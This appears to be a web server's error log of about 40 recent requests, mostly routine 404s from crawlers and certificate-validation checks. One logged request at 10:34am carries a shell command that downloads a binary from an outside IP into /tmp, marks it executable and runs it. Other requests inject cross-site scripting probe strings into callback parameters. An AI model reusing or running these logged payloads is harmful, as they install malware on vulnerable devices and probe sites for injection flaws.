| 14/07/2026 | 11:55am | 43.135.107.159 | https://agius.co/415.shtml | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/TH3V1UPPRBH4L3E051IHXFEYLUHHNK7- | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/C9QP8OZDWIKEG2CI5LUR_SXO_V8ZSPFT | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/29H2V-5-5U8JQH_YN_O-5G5BEFJ59YND | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/7UGE_06G6VLPI5JHX36KXQOY7WD8YZX9 | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/W3_7XM9M9H_04CIVNVFX8CNSE0U3USRP | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://mail.swiftdomainhosting.com/.well-known/acme-challenge/QPT2S3K4EZDWC2JA824AN4RDC4QZO-T4 | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://www.swiftdomainhosting.com/.well-known/acme-challenge/4GQYDKEGMVO4UK99DDPM48FHRTKWWO48 | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/JN33Z2-0BQ91255JL-93OW-NI36E-FT0 | 404  |
| 14/07/2026 | 11:25am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/BAV5TZV9_3395APE2810ATN-W7_0M9AO | 404  |
| 14/07/2026 | 11:08am | 47.128.60.19 | https://agius.co/robots.txt | 403  |
| 14/07/2026 | 10:34am | 69.156.132.177 | http://127.0.0.1:80/shell?cd+/tmp;wget+http://196.251.121.142/a3f8d2/kaizen.arm7sf_srv+-O+.k;chmod+777+.k;./.k | 404  |
| 14/07/2026 | 10:24am | 69.5.169.59 | http://213.155.2.230/mcp | 404  |
| 14/07/2026 | 10:10am | 20.168.0.218 | https://213.155.2.230/owa/auth/logon.aspx | 404  |
| 14/07/2026 | 10:10am | 103.131.146.37 | http://www.dilbilimi.nethttp://www.dilbilimi.net/terminology_T.htm | 404  |
| 14/07/2026 | 8:59am | 45.205.1.198 | http://213.155.2.230:80/index.htm | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/-FDYJOX7DIH5UN88BAPAUQNYIIOCPO53 | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/IPMPY4LNBBKPWNQR4J-45FYE69LAZBG3 | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/LFW65SVV275Z729LQ1JC1UPPAWOYMAGQ | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/-8ILVI0AKG3WK_N_Z0VUK4X301DC9NAP | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/RNQR70SM0A4ZL791D7L3KWQPPI5MJM7C | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://mail.swiftdomainhosting.com/.well-known/acme-challenge/H1M3X2BJ0_JNH7YT_R3U5YRX4XBNO2N_ | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://www.swiftdomainhosting.com/.well-known/acme-challenge/TQ-W1GW25D2BA4P6653DB8DBK63QN23W | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/9YH-JMTCL2IM5J-8I9ZMLI_HY5B851VZ | 404  |
| 14/07/2026 | 8:19am | 213.155.2.229 | http://swiftdomainhosting.com/.well-known/acme-challenge/ENR1IRKBWSLSFYG73URUAB1_P_NUQJT9 | 404  |
| 14/07/2026 | 8:02am | 110.249.201.22 | https://agius.co/errors/error-image.php?Title=HTTP%20403%20-%20Forbidden%20access&Image=../files/clock_01.png&Message=No%20entry|I.P.%20value;%20%20%20%20%20110.249.201.22|Host%20name;%20%20bytespider-110-249-201-22.crawl.bytedance.com|Date%20/%20time;%20%2014/07/2026%20-%208:02am|Status%20code;%20403&Msg2=URL;%20https://agius.co/webwindow/download.shtml | 403  |
| 14/07/2026 | 8:02am | 110.249.201.22 | https://agius.co/files/elecrytears.gif | 403  |
| 14/07/2026 | 8:02am | 110.249.201.22 | https://agius.co/webwindow/download.shtml | 403  |
| 14/07/2026 | 8:01am | 110.249.202.149 | https://agius.co/errors/error-image.php?Title=HTTP%20403%20-%20Forbidden%20access&Image=../files/clock_01.png&Message=No%20entry|I.P.%20value;%20%20%20%20%20110.249.202.149|Host%20name;%20%20bytespider-110-249-202-149.crawl.bytedance.com|Date%20/%20time;%20%2014/07/2026%20-%208:01am|Status%20code;%20403&Msg2=URL;%20https://agius.co/webwindow/CommercialVersion/download.php | 403  |
| 14/07/2026 | 8:01am | 110.249.202.149 | https://agius.co/files/elecrytears.gif | 403  |
| 14/07/2026 | 8:01am | 110.249.202.149 | https://agius.co/webwindow/CommercialVersion/download.php | 403  |
| 14/07/2026 | 7:51am | 165.227.62.247 | http://213.155.2.230/.well-known/security.txt | 404  |
| 14/07/2026 | 7:51am | 165.227.62.247 | http://213.155.2.230/sitemap.xml | 404  |
| 14/07/2026 | 7:47am | 66.132.172.47 | http://213.155.2.230/security.txt | 404  |
| 14/07/2026 | 6:58am | 137.184.45.148 | http://rhea-230.uk2group.com/test22.txt | 404  |
| 14/07/2026 | 6:58am | 137.184.45.148 | http://rhea-230.uk2group.com/test22.txt | 405  |
| 14/07/2026 | 6:58am | 137.184.45.148 | http://rhea-230.uk2group.com/metadata/svg?%3Cpizza%3E%3Ccats%3E%3Cducks%3E=a%22%3E%3Cb | 404  |
| 14/07/2026 | 6:58am | 137.184.45.148 | http://rhea-230.uk2group.com/callback?state=a%22%3e%3czqd%3e&code=a%22%3e%3czqd%3e&error=a%22%3e%3czqd%3e&error_description=a%22%3e%3czqd%3e&error_message=a%22%3e%3czqd%3e&redirect_uri=a%22%3e%3czqd%3e&return_url=a%22%3e%3czqd%3e&continue=a%22%3e%3czqd%3e&next=a%22%3e%3czqd%3e&callback=a%22%3e%3czqd%3e&url=a%22%3e%3czqd%3e&dest=a%22%3e%3czqd%3e&destination=a%22%3e%3czqd%3e&target=a%22%3e%3czqd%3e&from=a%22%3e%3czqd%3e&ref=a%22%3e%3czqd%3e&referrer=a%22%3e%3czqd%3e&message=a%22%3e%3czqd%3e&reason=a%22%3e%3czqd%3e&description=a%22%3e%3czqd%3e | 404  |
| 14/07/2026 | 6:57am | 207.90.244.28 | https://213.155.2.230/sitemap.xml | 404  |
| 14/07/2026 | 5:31am | 152.32.226.203 | http://213.155.2.230:80/v1 | 404  |
| Note: Only the last 40 records are displayed here. |